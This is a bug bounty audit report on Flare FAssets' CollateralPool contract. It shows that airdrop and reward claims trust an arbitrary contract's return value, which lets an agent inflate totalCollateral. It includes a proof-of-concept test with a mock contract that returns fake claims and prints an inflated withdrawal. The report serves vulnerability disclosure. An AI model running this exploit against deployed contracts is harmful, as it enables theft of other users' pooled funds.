#46858 [SC-High] The agent owner can exploit a malicious rewardManager to steal tokens from the protocol

Submitted on Jun 5th 2025 at 11:35:35 UTC by @ayden for Audit Comp | Flare | FAssets

  • Report ID: #46858

  • Report Type: Smart Contract

  • Report severity: High

  • Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/implementation/CollateralPool.sol

  • Impacts:

    • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Brief/Intro

In the CollateralPool.sol::claimDelegationRewards() / claimAirdropDistribution(). The agent owner can specify any arbitrary or malicious contract address, as there is no validation on the provided address. After claiming reward tokens from an external contract, the totalCollateral value is increased based on the return value of the external call.

However, the contract does not verify whether the claimed tokens were actually transferred to itself. If the external contract does not transfer the expected tokens, totalCollateral will be artificially inflated. This allows the agent owner to exit the pool with more tokens than they are entitled to, potentially resulting in a loss of funds for other users.

Vulnerability Details

Let's take claimAirdropDistribution as example:

    function claimAirdropDistribution(
        IDistributionToDelegators _distribution,
        uint256 _month
    )
        external
        onlyAgent
        returns(uint256)
    {
        uint256 claimed = _distribution.claim(address(this), payable(address(this)), _month, true);
        totalCollateral += claimed;
        emit ClaimedReward(claimed, 0);
        return claimed;
    }

totalCollateral is increased by claimed , but whether the claimed tokens were actually transferred is not checked.

Impact Details

Protocol users lost of funds

References

    function claimAirdropDistribution(
        IDistributionToDelegators _distribution,
        uint256 _month
    )
        external
        onlyAgent
        returns(uint256)
    {
        uint256 claimed = _distribution.claim(address(this), payable(address(this)), _month, true);
        totalCollateral += claimed;
        emit ClaimedReward(claimed, 0);
        return claimed;
    }

Proof of Concept

Proof of Concept

add test to CollateralPool.ts:

        it.only("Test Agent Owner exploit a malicious distribution contract", async () => {
            await givePoolFAssetFees(ETH(10));

            //two users alice and bob
            const alice = accounts[0];
            const bob = accounts[1];

            await collateralPool.enter(0, false, { value: ETH(11), from: alice });
            // alice get shares.
            const tokens = await collateralPoolToken.balanceOf(alice);

            // bob enter pool
            await collateralPool.enter(0, false, { value: ETH(100), from: bob });

            // give some collateral using mock airdrop
            const mockAirdrop = await MockContract.new();
            await mockAirdrop.givenAnyReturnUint(ETH(1000));

            //current mockAirdrop not transfer tokens to the pool,
            //just return value.
            await collateralPool.claimAirdropDistribution(mockAirdrop.address, 1, { from: agent });

            const b1 = toBN(await web3.eth.getBalance(alice));
            await collateralPool.exit(tokens.toString(), TokenExitType.KEEP_RATIO, { from: alice });
            const b2 = toBN(await web3.eth.getBalance(alice));

            console.log("alice's balance:", b2.sub(b1).toString());
            //110.098235680223946803
        });

Was this helpful?